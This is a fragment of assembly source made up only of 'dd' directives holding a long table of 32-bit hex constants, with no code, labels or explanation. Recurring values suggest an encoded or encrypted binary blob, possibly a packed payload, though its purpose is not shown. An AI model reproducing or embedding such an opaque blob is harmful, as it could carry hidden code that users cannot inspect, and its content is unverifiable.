dd 0E5B96DDDh, 75B129D0h, 0AF363D56h, 0B4B13256h, 0AEB13246h
dd 8E1F2033h, 6E75BF02h, 435286FCh, 0BD6F3F37h, 0F1BEE95Dh
dd 0BAB13231h, 526F09AEh, 0AEB10ED3h, 0E1495256h, 0BF585300h
dd 8CB13256h, 0FB94D10Fh, 0D6391115h, 0FEF3EF3Bh, 0CA567EC0h
dd 257B0EDFh, 0DE443E0Bh, 0A4D13E09h, 0D5B138D1h, 0EAB4DB56h
dd 36A53256h, 79F962h, 495B4E02h, 0BA76B137h, 57B6B959h
dd 27BE3256h, 0D5B13257h, 15CBDBAAh, 13D1CDA9h, 0EED4FAD7h
dd 953A5237h, 0C8D06A00h, 0D1BE2CDDh, 0ABB1324Ch, 0D5A5BD59h
dd 0E5583256h, 5DB13256h, 968DD97Bh, 78FF81A7h, 0F98A8048h
dd 0AC31AA42h, 0A1353DBEh
dd 0DAB13255h, 0EAB135D0h, 74333D56h, 43B13256h, 5258C9D6h
dd 0AEB3C6D2h, 0E8BE5256h, 0B964B29Eh, 3E4AB237h, 0E852B659h
dd 0F5483256h, 3EBED0ADh, 5DB1309Dh, 4D4AB2AEh, 5511B659h
dd 27BE3256h, 0D5B1325Ah, 0EAB7B959h, 0F1BE3256h, 0BAB13256h
dd 3A4AB330h, 0A353DB5h, 37B13254h, 0FC4BB930h, 0B4EE6D04h
dd 1641D5D6h, 7A4AB330h, 20353DD6h, 52B13254h, 0AEB133D1h
dd 0D749CB56h, 26BEC2B5h, 0D5B1325Ch, 0E5D05236h, 75B132DEh
dd 41315356h, 2B353D26h, 57B13254h, 57B123BFh, 0B1CFE256h
dd 0E8CB9050h, 6EE8022Dh, 9A64EFE8h, 31D79193h, 5DBEDB48h
dd 5E853256h, 0AC49BD23h, 0F678CC45h, 780DD363h, 1252B29Fh
dd 75B134BFh, 56805B56h, 0DDD4AD98h, 2ABE8AADh, 57B13372h
dd 0ABB137BFh, 0AF809D56h, 0D43141FCh, 64353D53h, 53B13257h
dd 5DB13251h, 4257B7C5h, 0D7FFBC43h, 2FBE1F68h, 0D5B132AAh
dd 828FB2AFh, 7543B659h, 53D13256h, 5DB13245h, 1DE3E256h
dd 0C859E0B7h, 568F5789h, 0BBCC9614h, 8B5F5E8Dh, 0E13B0A9h
dd 33BE344Ch, 5DB1325Eh, 0AEB3BB59h, 36D13256h, 0A4AFB930h
dd 0D5B133D0h, 0D31C756h, 290F52AEh, 0B5961039h, 0A8D0C3E9h
dd 2F4AB330h, 0F6353DBEh, 0CBB13256h, 0D5B5BC59h, 55D73256h
dd 0F4D12824h, 0EEAF60B8h, 3CD0C77Ah, 0A1AFB930h, 57B13ADDh
dd 0A93B3D56h, 0B5B13256h, 1A56B237h, 75B13ABFh, 431BFA56h
dd 29BD1C0Ah, 55305453h, 0D3BEF2D7h, 0ABB13236h, 0D5B6B659h
dd 61BE3256h, 75B13257h, 0EF4952A3h, 0FE23CDAEh, 0CEB7282Fh
dd 0B8BAD0D7h, 0F6D043C7h, 0D5B4DB36h, 3DBC3256h, 0F5197D62h
dd 0B5D0588Eh, 5DB13AD2h, 0AC323D56h, 37B13256h, 57F4BB37h
dd 0D4323DAAh, 13B13256h, 832CB37h, 3FBE33AAh, 5DB133A7h
dd 0AEB4B759h, 37D13256h, 57D0CA37h, 0D53C88DDh, 8CD13442h
dd 0F59C95EDh, 0EAD0128Ch, 5DB121BFh, 0E913056h, 0BFA4AC76h
dd 3CEC91EEh, 6348C6C9h, 0E4CD268Dh, 0D733B9AFh, 43B7282Dh
dd 3D810E6Fh, 0F1D05206h, 6DC5C2D7h, 0F3D05F18h, 0D42EB059h
dd 6EBE3256h, 75B13244h, 0BABDB259h, 5A583256h, 55B13256h
dd 8B906CFBh, 113AFEF6h, 0D3A5399Bh, 0EAB0B759h, 25443256h
dd 0BAB13CBFh, 4C68D756h, 6830979h, 0C64AB4D1h, 0CBD34B5Dh
dd 5B37D2D7h, 8B493643h, 0E13B0DDh, 8349344Ch, 0DDBE026Ah
dd 0AEB13257h, 0D8BE6AAFh, 0ABB13313h, 0D5B126BFh, 0BE76B556h
dd 9A06EBF5h, 0C2D5EA01h, 1CF1CF52h, 0AAFA6D35h, 57FEDBF0h
dd 0BA583256h, 69B13256h, 9CEC288h, 6CE32E5h, 7DC98F51h
dd 1AE99BE9h, 3841B236h, 0ED58B330h, 0EE765321h, 0D5B130AEh
dd 0C858CA56h, 9CB13256h, 0BAB13259h, 117142CDh, 0E05B543Fh
dd 0C472268h, 6CC2FD31h, 0D5B0CA13h, 62BE3256h, 75B13257h
dd 9F0BB9AAh, 0A1B7282Fh, 0A2582DDDh, 94B13256h, 0A3BC8168h
dd 0B8BD87Ch, 0E1BB45B0h, 0C3353D8Dh, 53B13256h, 5DB1325Ch
dd 0DD3CAF3Fh, 0F272E67Bh, 758A5135h, 0D5F7B759h, 6EBE3256h
dd 75B13257h, 0B6ECB9AEh, 5DBDBC59h, 20BE3256h, 57B13250h
dd 0ABB1B359h, 0A8323256h, 6EBE32AEh, 75B1324Dh, 0B9323D36h
dd 3BB13256h, 25D7EADDh, 0AB253AEh, 0CDE152AEh, 0B3EEE3DDh
dd 63D0F4DDh, 14D13609h, 0B5A5F5D5h, 5DB134D0h, 0CFD15256h
dd 0BED05336h, 0ABB1325Ch, 68094FFh, 5D1649ECh, 1058F3ABh
dd 0DA4ECDA9h, 11540BEDh, 6E82530Fh, 57B8DB36h, 0A60F3256h
dd 0EAB6E7B3h, 6B5ADD8Dh, 0FB832C9Eh, 0EE58535Fh, 52B13252h
dd 0AEB13ED3h, 51353D56h, 0A4B13256h, 0D5B132DBh, 0F43A5456h
dd 75A1B059h, 0B1583256h, 0D4B13256h, 592CA93Bh, 819FF46Eh
dd 0D63A5EB8h, 0D4353D5Ah, 16B13256h, 7A5AC9D6h, 0BAB17ED2h
dd 0DCD1CB56h, 8239BB1h, 0AE3A5254h, 0ABB1B759h, 0B4D03256h
dd 1F41D1D6h, 7AC1C9D6h, 0BAB144D2h, 5DBBDB56h, 64FA3256h
dd 0D3E558DBh, 7D36CA9Dh, 0D5B039BFh, 0F8373D56h, 15B13256h
dd 0BAB135BEh, 0A7F3B156h, 0DA5200DAh, 810E3D0Eh, 42B6F437h
dd 0D4F6F5AAh, 0EAB13256h, 0A4305436h, 0AB596315h, 23B13256h
dd 791ADFF8h, 0F0D4FC84h, 0A26C7827h, 0A588C29Eh, 8BEEF5DDh
dd 7B58F5DDh, 0FBB13256h, 0F32E03ECh, 0D6F336Ah, 8E96663Dh
dd 0AE71B175h, 0D630DBAEh, 8C483256h, 7DBE3591h, 0B5AFB8AAh
dd 5DB135DDh, 0AF373D56h, 0A2B13256h, 5EBED1D6h, 3C31F9D6h
dd 0EAB1325Fh, 5040D456h, 94F5A861h, 5CEEBA32h, 0E47CB236h
dd 57B139BEh, 0C3E10D56h, 8865550Ch, 0EB3BBE84h, 14EA5336h
dd 0B8F6F5AFh, 5DB13256h, 0AEB13DBFh, 4D56AB56h, 0A14FD073h
dd 33783B4Ah, 0F3B333EEh, 0F6BEF5DDh, 0BAB1325Eh, 9F0BCB36h
dd 0CFE430D2h, 0ABB7F2D5h, 0ABB234BFh, 0D5B4DB56h, 65023256h
dd 15F8BC00h, 0BAB13DBFh, 47B96F56h, 5BD5C136h, 0ACC61FCAh
dd 67585226h, 0D5B138BFh, 0FE81B256h, 7C779F65h, 0DB642915h
dd 0CD8FB330h, 0E8353DC6h, 0AFB13256h, 0A4210CD6h, 0D5B148D3h
dd 62BEC756h, 75B13251h, 1D7C736h, 3BD05965h, 3E4E4CD7h
dd 75353DC6h, 0A4B13256h, 0D5B135DCh, 0EB363D56h, 89B13256h
dd 0BAB17CBFh, 5DBADB56h, 0A2BD3256h, 0CE86B824h, 9722D96Ch
dd 3C76B962h, 0EAB13258h, 2EC80004h, 653267F6h, 43453C2Fh
dd 0A658F8A5h, 8B13256h, 0C6C981EDh, 3C69EC42h, 0EAB13009h
dd 75B120BFh, 8F4FD556h, 647E1F92h, 19CE16D3h, 3E10993h
dd 260F6BDCh, 0CFCD76D4h, 3E1CA50h, 75B1325Bh, 0F3AC9634h
dd 0ED10BAB7h, 20A1D4E7h, 0DDBE6475h, 0ABB13257h, 1023CDAFh
dd 0E5B7282Fh, 75B13FDCh, 0BAB9DB56h, 0C6F93256h, 1FD8E378h
dd 97BA0C8Bh, 0ABEBB659h, 5CBE3256h, 0EAB13241h, 75B120BFh
dd 21FBAD56h, 6917176h, 0A6F8A02Fh, 99B7CC90h, 0A4CD0447h
dd 0D5B121D9h, 0EABFDB56h, 4AFC3256h, 51215217h, 0BAD082A7h
dd 81CC25C4h, 5E58FADDh, 0F2B13256h, 909CB8C6h, 8D280861h
dd 3103BFAFh, 4FB7282Ah, 5DB14ABFh, 960B5256h, 36ADBE28h
dd 653AC700h, 0B47FB936h, 0EA3C3D36h, 27B13256h, 0BAB13BBEh
dd 0F72AB656h, 81920A1Ch, 0EE9790Bh, 2CBE6737h, 0D5B1325Ah
dd 0EAB7B559h, 0F2BE3256h, 0BAB13256h, 2412A0A9h, 0A1D1344Ch
dd 0E8BEC2E1h, 0A658539Dh, 0C3B13256h, 59CB92ECh, 6AC432DFh
dd 69044FE3h, 5C3A3D0Bh, 5BB13256h, 0A04DFC7Dh, 42EFCB8Fh
dd 0D5B1325Fh, 219851DDh, 8D596779h, 42CCB1ECh, 0A343D57h
dd 0CEB13256h, 37CD8536h, 6D3B5337h, 2DF88237h, 0EABFDBFCh
dd 4D6D3256h, 41557523h, 0E056839h, 8AA6F168h, 0D2BE8A30h
dd 571A54AEh, 0D4F78459h, 0EAB6DB36h, 33F43256h, 0E49708F4h
dd 0AD3A5432h, 47489937h, 57B132BEh, 0ABB13FBFh, 76BEEF56h
dd 89C530FCh, 4F17FF6h, 0C7322DDBh, 0D8BE30AEh, 0AEB132FBh
dd 57B123BFh, 5BBDD856h, 16B78F4Bh, 3B44C149h, 5DCE5D50h
dd 2D7A5CEh, 0D3BEFB5Dh, 0AEB1324Eh, 57B121BFh, 6455A956h
dd 8715540h, 2FA2CAA1h, 87FD8119h, 748EE6AFh, 5DB13FBFh
dd 208A5956h, 0C39C01C2h, 636333BEh, 7ED7D9C5h, 0EAB5BD59h
dd 15D13256h, 2D75337h, 3B48B659h, 0AEB8DBFDh, 99B33256h
dd 98C5E083h, 0DAD58BDBh, 3B074E0h, 75B13253h, 88F4D45Ah
dd 49589914h, 80B13256h, 5516922Bh, 3D108419h, 7AFA5AF1h
dd 560FE7D4h, 9C7D7736h, 0BAB13262h, 5DB122BFh, 604DA156h
dd 397C4539h, 0F643FA7Dh
dd 25D72D46h, 0E515C181h, 75B125DAh, 0BAA3DB56h, 0B5033256h
dd 7889929h, 6B460354h, 44A7B5EEh, 9274692Ah, 0B149F5DDh
dd 763D3D36h, 0DCB13256h, 0E4D7E3DDh, 0F7D01231h, 57B0BD59h
dd 0F5493256h, 3DD16DAEh, 0EAB13258h, 0CAA9519h, 1A946284h
dd 8D67FAE9h, 4C30D17Eh, 1F07C679h, 0CA268508h, 0D958529Fh
dd 83B13256h, 0AE90A519h, 63D018EFh, 3BABA8C3h, 0A1D0F5DDh
dd 57B133D1h, 0A373CA56h, 0D83B3D56h, 3B13256h, 75B1325Eh
dd 6A5DA18Dh, 0EB772238h, 9DCC8836h, 3F0667C5h, 0AC586737h
dd 0DCB13256h, 6A988491h, 7B58FA72h, 0C3B13256h, 93938946h
dd 3EDD4E3h, 0A53A773Fh, 525DB9F8h, 0D5B0B959h, 8A483256h
dd 0B4063D36h, 52D0CBDDh, 5DB13256h, 435BB30Ch, 37B728FEh
dd 58088930h, 0B4FEDED6h, 0AF3ACEA3h, 7A3F3D5Eh, 0DAB13256h
dd 5DB13ABFh, 28CDFE56h, 0BC76B04h, 2938530Bh, 0D3AB4B31h
dd 0EAAEB759h, 0F5BE3256h, 0BAB1324Fh, 5DB126BFh, 99AB3B56h
dd 2966457Fh, 3FAF9D81h, 0F774BED5h, 638A0E3Eh, 9CD153AEh
dd 0BAB13250h, 53D504DFh, 703A8AAFh, 5A58FB37h, 51B13256h
dd 1E4CE30Ch, 67313AE5h, 0F68ABCEEh, 0DAB13694h, 0D6D7EADDh
dd 0A1E45385h, 57B138D1h, 1CBE5256h, 0A88088A5h, 61D01FC9h
dd 0C2BE52BAh, 0AF0A528Eh, 3CFB74DFh, 5675B137h, 435852AAh
dd 0AEB13256h, 0A5F5A62Fh, 0F9522DE5h, 0F204FB50h, 8B1C065Bh
dd 0B5F1C6BEh, 0AEB13256h, 0E65BB30Ch, 53B728FFh, 0D595BE59h
dd 3D13256h, 75B1325Fh, 8CA3587h, 98821E40h, 0AEBFDAF9h
dd 0A59C3256h, 8F2D8466h, 0DF3587E2h, 2A1828Ch, 30765309h
dd 0BAB132AEh, 5C3C3D56h, 52B13256h, 0ABF4F5AAh, 0ABB13256h
dd 0D5B0BC59h, 0D9483256h, 64383D96h, 53B13256h, 5DB1325Ah
dd 7EFFD6BAh, 3C8AC4E6h, 4AE75ABAh, 20AFB930h, 9113B091h
dd 75B0344Ch, 0EAD13256h, 5DB1B359h, 2FEF3256h, 115F3489h
dd 0BF58534Dh, 12B13256h, 914036BAh, 90090822h, 0E5262FC4h
dd 1298CD49h, 0C8170A01h, 0C721C9D7h, 0ABBEB759h, 3CD13256h
dd 0EAB1325Eh, 9D4A7DCBh, 1502B278h, 0B54AB237h, 0AA32B659h
dd 5C583256h, 73B13256h, 0BF4882Bh, 0B9D05649h, 80F1C603h
dd 0B558C9D6h, 5DB55AD2h, 0B63F3D56h, 58B13256h, 0ABB120DCh
dd 0D5BCDB56h, 0A5ED3256h, 0D764AC36h, 0A82B2FB1h, 1D67316Bh
dd 454AB2AEh, 538EB659h, 0EB4D3256h, 0D5B135BFh, 0CC248F56h
dd 0FFE633B1h, 0DA41D5D6h, 72808836h, 0A0580825h, 33B13256h
dd 1EA7DF0Dh, 58CF7F68h, 979EF180h, 0CCD15321h, 85C5F3F2h
dd 0DDD15337h, 0A258CAA3h, 72B13256h, 0E936169Bh, 0B1D69880h
dd 8BBA847Fh, 7A4AB330h, 50353DD6h, 0A1B13255h, 0A5CCB055h
dd 58493442h, 0ABB133D6h, 3CF1CE56h, 0EAB1325Bh, 538FDED7h
dd 0ABA82C4Ch, 328173B9h, 4C4AB22Fh, 543CB659h, 0A3583256h
dd 0C9B13256h, 0FF280A96h, 0F541C25Fh, 3EBED1ADh, 5DB1311Eh
dd 0AEB138BFh, 0E7B5FF56h, 0CB5B4A4Ch, 0B3C490B5h, 9D6C9D7h
dd 76ECB659h, 39BE3256h, 5DB13245h, 0AEBADB36h, 0F0793256h
dd 99250DACh, 8AA4CD2Dh, 0E5D0CA5Bh, 75B13AD9h, 0B83D3D56h
dd 3DB13256h, 5E52B237h, 274AB2AFh, 0A8EAB659h, 50BE3256h
dd 0EAB13257h, 6B3A54A3h, 4252B2AEh, 0E54AB2AFh, 0AF20B659h
dd 58D13256h, 0ABB131D4h, 1A3A5456h, 0E250B330h, 4B31536Ch
dd 0C2353D53h, 0B4B13257h, 0AEB13245h, 9D714C80h, 13ACFF42h
dd 12E91BE8h, 9EFDEF89h, 0F59BA893h, 3EBE1F68h, 5DB13301h
dd 0AEB13EBFh, 7309A156h, 0A310C296h, 0DB365278h, 828FB26Ch
dd 748CB659h, 0A8583256h, 52B13256h, 26D46BD5h, 14B56493h
dd 51C3AEF2h, 2C6A530Ah, 8AF1C715h, 75B135BFh, 88983A56h
dd 9011D1E8h, 2C4ECE37h, 51AB49F4h, 0ABB13ABFh, 0C1E54856h
dd 0C13E0C31h, 6B3A54CDh, 4256B2AEh, 5DA4B359h, 46D13256h
dd 57B1325Fh, 0C1299700h, 5A399D67h, 54D76983h, 13D029E8h
dd 5230C9D7h, 5D64B659h, 0C8493256h, 0DABE2CDDh, 0ABB13257h
dd 2556B2AFh, 0EAB13ABFh, 83B74456h, 0C6B3D0D7h, 5DBFDBAAh
dd 0F3E23256h, 0F88D6E11h, 10CBEA7Bh, 0F6B3415Ah, 6B4AB330h
dd 0E9353D96h, 46B13256h, 5DB8DB36h, 0E0203256h, 471142EDh
dd 42F220AEh, 0D5B13253h, 44B41086h, 0F2BE679Ch, 0BAB13257h
dd 0FE23CDA3h, 0CEB7282Fh, 963A5436h, 0ABB121BEh, 6A1F9256h
dd 0AA674AA0h, 0A4D49AB6h, 0C2881A00h, 0CC05A2D5h, 2BBE530Fh
dd 57B13250h, 0ABB1B559h, 88D03256h, 16F4BBAEh, 0FBBE53A3h
dd 0BAB1324Fh, 5DB126BFh, 8D460C56h, 7D168A0Ah, 7209FC19h
dd 0B28B5FB8h, 0C19733A2h, 75B4DB16h, 11A33256h, 0DEBA5294h
dd 0A1B0CE2Bh, 57B737D3h, 0A3353D56h, 0B5B13256h, 0EAB1BD59h
dd 0FED03256h, 0AEB1BFECh, 0AD305250h, 0EC54D46Bh, 7D06B06h
dd 5A063D36h, 0D5B2B559h, 5DBE3256h, 0F73A538Fh, 0BCAB49F4h
dd 5DB138BFh, 139EB156h, 0C7615CC6h, 922C90EDh, 0D358026Ah
dd 0D2B13256h, 6613526h, 0BABEDB50h, 90CE3256h, 2A90C430h
dd 17F7B110h, 0AA8F13A6h, 57BE6A1Eh, 0EAB137CCh, 0B80BB9AFh
dd 42B7265Dh, 5DB120BFh, 463C8256h, 82E6F016h, 4CFA9267h
dd 4E3516BAh, 0BA8978FCh, 75B134BFh, 4991D956h, 0D6EEFEF2h
dd 0B4CA90D4h, 6B88CE50h, 0A4E9CA66h, 0D5B46FD9h, 6149C756h
dd 6FC866ECh, 0B33D3D50h, 3DB13256h, 8D72B330h, 36D052BCh
dd 0D2E5B0D5h, 0B5A5344Ch, 61678D59h, 61585390h, 59B13256h
dd 6C12E55h, 5C57817Fh, 6E745FADh, 0F965C4E5h, 5C878699h
dd 0AD38C761h, 15E1CE46h, 383A53A3h, 5BAB49F4h, 0AEB138BFh
dd 50A58656h, 6B001052h, 5E2C8591h, 59D1024Ah, 6940B2E1h
dd 34BE6A37h, 5DB13242h, 0AEB13DBFh, 0A39CA156h, 7AB33BA1h
dd 0AB7CB5A3h, 0DAA175Bh, 15B96DDFh, 0BAA1BF59h, 57593256h
dd 0FDB13256h, 272EC13Fh, 5CAED5D2h, 54D7699Ch, 8B9C4E9Fh
dd 75B587BFh, 0B3343D56h, 3DB13256h, 0AEB1B859h, 364D3256h
dd 0A9497791h, 2CB13256h, 0EAE2DBAAh, 0CAD13256h, 0D8626F99h
dd 3C79DFD6h, 0A2586236h, 0CCB13256h, 0A286C839h, 1EDA0A14h
dd 0B53C7B47h, 0B2D0FCDCh, 0BAB0CA13h, 0E3D13256h, 0E70383FCh
dd 57B13CBEh, 2754356h, 0DD84D8B1h, 0B2BC31B4h, 0FEC8B07Dh
dd 0B5D06DAFh, 5DB13AD9h, 0AC3A3D56h, 37B13256h, 0FF0BB937h
dd 3CB7282Fh, 0EAB13250h, 0A725AD21h, 3832CE2Bh, 5BAB4B02h
dd 0AEBCDB42h, 0DDD83256h, 0CB05230Ah, 1C48839Bh, 0E5F67E20h
dd 75B13ADBh, 0B8353D56h, 3DB13256h, 5B86BB37h, 0BEA175DFh
dd 0ABB1325Ch, 0B440D81Dh, 0BE074A00h, 8D324C16h, 0D3343D55h
dd 0B4B13256h, 0AEB1325Bh, 98854D0h, 1C04CBC3h, 0F018B02Dh
dd 4833F529h, 77B7282Dh, 53B13256h, 5DB13246h, 9D509081h
dd 0F2D2D53Eh, 0A212F695h, 61014C10h, 0E3BA8D36h, 7B59185Fh
dd 23B13256h, 3F6CFF02h, 0C5BFD421h, 0DC30E87h, 42D06B8Fh
dd 0D5B13274h, 0BC43B236h, 75BCB659h, 0BD593256h, 0C8B13256h
dd 0D74251A3h, 36E8796Ch, 0A4B3CAD5h, 0D5B352DBh, 9732C756h
dd 0F1BE32AEh, 0BAB132DBh, 1B073DAAh, 0AEBFDB57h, 0B2EF3256h
dd 4137F66Eh, 2C5D3838h, 96D065A8h, 75B1B2FFh, 0E0343D56h
dd 52B13256h, 0AEB133D2h, 0BEF1C756h, 0ABB13244h, 0EF99B32Ah
dd 422F4F42h, 1E8F2D5h, 0ED83CA66h, 0B53280D3h, 9258CE53h
dd 58B13256h, 0ABB12CD6h
dd 54D75256h, 29B2387h, 75B13247h, 0F65CBB20h, 0B218CE32h
dd 0FC82B11Fh, 1727E292h, 0A4D06AF6h, 0D5B13AD4h, 0B3E65256h
dd 0A2858A30h, 0BA4E1F37h, 0DE443256h, 474437BEh, 57B13270h
dd 204961AAh, 0CFCA90CCh, 0EAB4DB50h, 6B913256h, 31BEB511h
dd 54580152h, 0B6B13256h, 0DCAC6CE7h, 0EC49397Ch, 0D518CB0Dh
dd 0E5313256h, 75B19FD3h, 0BD333D56h, 3DB13256h, 0C479B330h
dd 5F585320h, 0D8B13256h, 7747AB9Dh, 0E9DD4C9Ch, 0AA315290h
dd 150B5482h, 9D32535Dh, 0BB3C3D53h, 0BEB13256h, 0ABB13246h
dd 5489AAE5h, 0AB83389Ah, 67C427CBh, 0CB3065C8h, 2613B055h
dd 0A1D1344Ch, 5B58F2E1h, 1CB13256h, 3CEA027Bh, 0CFA26A33h
dd 14A86D97h, 0BABFDB1Eh, 49873256h, 0B5D73ABFh, 728E6378h
dd 13720B63h, 0DAB975DFh, 0EAB134D0h, 0F5445256h, 33D02881h
dd 0DFBE3E11h, 0AEB13240h, 57B123BFh, 72458D56h, 4A4A8674h
dd 0CFDF2DDEh, 0B346D9A8h, 0B55840A5h, 52B13254h, 0AEB133D5h
dd 8F46CB56h, 0ABBCB959h, 0DD583256h, 6CB13256h, 73F26CE9h
dd 9171E52Fh, 463E3D90h, 0CEB13256h, 57B123BEh, 8B86C956h
dd 13FEA099h, 7EEC7C4Dh, 625551CEh, 30EE4719h, 4D58539Ch
dd 36B13256h, 90A92886h, 5980A549h, 7589B3BAh, 1D3CAC1Eh
dd 0FBBECB8Eh, 0BAB13243h, 5DB122BFh, 0B77B5D56h, 0DF054BB3h
dd 0FB33D24Ch, 271482A3h, 0EF71B16Eh, 75B0B659h, 53493256h
dd 5DB13247h, 9084AA70h, 47A59D9Bh, 0CABE599Ah, 95FF6652h
dd 483331FEh, 15B7282Dh, 0BAB3B159h, 3CD13256h, 0E6D049E1h
dd 57A3BB59h, 0A6583256h, 0AFB13256h, 0DE9A18FDh, 0BDC39825h
dd 4784B365h, 52B975DFh, 0AEB133DBh, 1038CB56h, 15D1525Ah
dd 0DBF40E41h, 0EAB134BEh, 0D2337356h, 0E17F5A42h, 76585337h
dd 0CEB13257h, 57B137BFh, 0BDEDF356h, 2D3A5070h, 8A710137h
dd 260A54AEh, 0FC3B5395h, 5658CB57h, 25B13256h, 4F3B3F83h
dd 0ED4D7901h, 5519509Dh, 0EA32B759h, 0F6BE3256h, 0BAB1325Ah
dd 5DB7BD59h, 20BE3256h, 57B13256h, 0FDD1F455h, 0D5B1BE59h
dd 58E83256h, 0B5325308h, 0BB3D3D54h, 0A8B13256h, 0AEB133EDh
dd 5F373D56h, 0A4B13256h, 0D5B130DFh, 0E1D05256h, 6C353D8Dh
dd 46B13256h, 0F30CA8DCh, 2E49344Fh, 0DDD133B5h, 2ABE52A8h
dd 0D5B13256h, 8BD06C01h, 8CD1F155h, 0BA393D36h, 3CB13256h
dd 0A6F6BB37h, 5BF6BBAFh, 0AB31DBA3h, 53BE3256h, 0EAB13253h
dd 8CD05236h, 4F69C537h, 5DB1CD73h, 0AF3B3D56h, 0AFB13256h
dd 0A4D1F47Dh, 2430EBE9h, 0E5FE5D59h, 1569C537h, 0DB71DCD6h
dd 0B4B3F2D5h, 0AEB13244h, 3F4216EFh, 0AF9AE8F1h, 200918D0h
dd 9869C7DEh, 32385348h, 3BBE525Eh, 5DB13240h, 0AEB123BFh
dd 11A21156h, 0CAD14A86h, 0D9688461h, 0ADE299DFh, 0F4D783F4h
dd 0DBDB4A8Ch, 0B4BD75DFh, 0AEB1325Ch, 1C9F07DEh, 39124593h
dd 3C49FFADh, 0EAB13250h, 0F93B0B7Ch, 53D0DB74h, 5DB1325Fh
dd 847E7A21h, 218E3EF1h, 0F8D1FB7Ch, 16485309h, 0EAB122BFh
dd 5FE4F356h, 0CA65EE43h, 0AAAA27F5h, 0CB8D4020h, 5A58672Bh
dd 68B13256h, 0E0882D1Fh, 0A68CD7F3h, 0C7FF2402h, 0AE58DEDDh
dd 21B13256h, 97C9AD3Dh, 0F479B07Eh, 0A71A767Bh, 0E0F9EF95h
dd 696723B8h, 7B58CE92h, 47B13256h, 6E158A45h, 0A566086Bh
dd 0C4924E41h, 29BE52C2h, 0D5B1325Ah, 0EAB7BB59h, 0F6BE3256h
dd 0BAB13256h, 5DB132BEh, 44306856h, 51AB8198h, 113ACAAAh
dd 0D3AB4B73h, 220B5236h, 8D838A34h, 0BAA5DA37h, 0A7803256h
dd 82C495CFh, 0D9ED6B4Eh, 9B6BB8E1h, 6B758238h, 6BD7194Bh
dd 2FE25BB0h, 46780137h, 52B10DD5h, 0AEB598D2h, 5D303D56h
dd 42B13256h, 0D5B13253h, 731C7E12h, 7AB6B9A6h, 0BAB12CD6h
dd 45383D56h, 47B13256h, 57B13245h, 96E08E93h, 0DFCCDAD6h
dd 4FAC5A8Fh, 8D10724Bh, 45CD5D5Bh, 0D4BE3E23h, 0AEB13257h
dd 224ECAAFh, 0A358CA5Eh, 4B13256h, 23C592E2h, 2518766Dh
dd 3BD75236h, 0B5C98A87h, 0AEB1325Ch, 0DDCFF2E4h, 96E1A8FDh
dd 0B4EEF31Fh, 8B6A8D59h, 75B853BEh, 7C3A5256h, 3C61B930h
dd 2BBEF25Dh, 57B13270h, 0ABB120BFh, 4E476256h, 0D632B69Ah
dd 0BBB9F352h, 351AD775h, 0D6ED1388h, 0BC58C751h, 58B13256h
dd 0ABB133DAh, 1232C756h, 0AF58CB42h, 894ECDA9h, 46F4BBAFh
dd 5DB135BFh, 0C5259456h, 476FEE41h, 42BD47A9h, 0D5B13245h
dd 86E74F4Ah, 5D00288Dh, 0A334FE9Ch, 4BB7A4F8h, 0CE54214Eh
dd 0AB01EDD6h, 0A3C4CD37h, 0D5B6B959h, 66BE3256h, 75B13257h
dd 0B1303DAEh, 0B4B13256h, 0AEB13250h, 19FF082Ch, 9C4E844Ch
dd 0D5B6B559h, 66BE3256h, 75B13257h, 0B20DDAAEh, 56483256h
dd 9A353D96h, 37B13256h, 0ABB139BEh, 6FE13356h, 76F5728Ch
dd 0B9B92D44h, 0E4428559h, 5DB121BFh, 63B6F156h, 1BE6F1A8h
dd 773BDB20h, 9A4C5F95h, 0E019AD8Dh, 76E4DB37h, 31493256h
dd 3DD1CE13h, 0AEB1B359h, 0BED03256h, 0ABB13250h, 0EAB2062Dh
dd 0D3D022B1h, 41333D51h, 0B5B13255h, 5DB133D9h, 0EB4ECE56h
dd 9B3152AAh, 0AA313DECh, 20B13256h, 0EECEB137h, 4F353D56h
dd 0B5B13256h, 5DB13ADAh, 0C84D5256h, 87D1D8D7h, 0A7CEB137h
dd 0F7353D56h, 3B13256h, 75B1325Eh, 1C8E0E9Ah, 1DCF64A9h
dd 0AEB1A1BFh, 50585256h, 41B13256h, 5EFE9F44h, 605E52Ah
dd 8A4E8A37h, 53D1CDA9h, 5DB1325Bh, 0F7DA841Fh, 15A3C32Bh
dd 459D3165h, 0DA4D52BCh, 8BD0EDE9h, 75B137EFh, 0BAA2DB56h
dd 41F83256h, 139FDA0h, 0E01970CFh, 48F463A2h, 0BFA7AAA7h
dd 121AC119h, 7592BA59h, 53D13256h, 5DB1325Eh, 59DE7C4Bh
dd 65F7E74Ch, 0ABB13DBFh, 39311356h, 8DCB1E79h, 6713DCE2h
dd 0F9BFBC83h, 0A337DB37h, 0A149CDA9h, 57B13DDFh, 0ABBBDB56h
dd 0BA583256h, 1D07E8Eh, 75626586h, 0BFA14DD5h, 5DDFB659h
dd 24BE3256h, 57B13257h, 0BBCEB1AAh, 0A8343D50h, 8AB13256h
dd 0C778B3AEh, 0DBD2E5D3h, 0E4D75217h, 960EE528h, 36AD1B24h
dd 0ABB6B259h, 5ABE3256h, 0EAB13257h, 71F6B9AEh, 0B6EEB9AAh
dd 5DA1DA36h, 2A63256h, 5DD1495Bh, 9CD42C18h, 2EF79E0Ch
dd 65BED007h, 75B13256h, 7B58530Eh, 52B13257h, 0AEB139D9h
dd 0D8BE5256h, 0ABB13256h, 0B46BB930h, 1FB575DDh, 8DBD6DDDh
dd 0BB2EDBAFh, 0E8D13256h, 0AEB8DB73h, 0AE5C3256h, 0AF792FCBh
dd 0B412BF9Bh, 16B575DDh, 7ABD6DDDh, 0BAB12DD8h, 443D3D56h
dd 47B13256h, 57B13242h, 0B264BDDEh, 0E3C4708h, 7C9C2713h
dd 0E5C1796Dh, 0A0A4924Dh, 5260B936h, 0AEB131DEh, 8E3A5456h
dd 0A3EE0937h, 0D579B759h, 0F9583256h, 25B13256h, 22BDC0C7h
dd 0C20D593Dh, 174B6315h, 1D527ABDh, 0A4E3F631h, 0D5B134DAh
dd 0E5485256h, 0FED0EBE9h, 32BE3601h, 5DB1325Ah, 0C40E5436h
dd 573D3D20h, 0CAB13256h, 3CA1677Dh, 0EAB1325Eh, 0CADA6EF2h
dd 0EC8B00BBh, 5DB13CBFh, 8F267D56h, 369B8B8Dh, 0B12BA78Fh
dd 0D6B9128Ch, 61482603h, 0F0BE3E09h, 0BAB1324Eh, 5DB121BFh
dd 0A7F5A956h, 0E7E3D5F7h, 5D4BDCEh, 21F9F4BCh, 0E380EEB6h
dd 8D6B19AFh, 0B5B4D9D5h, 5DB137D3h, 24445256h, 58EB5399h
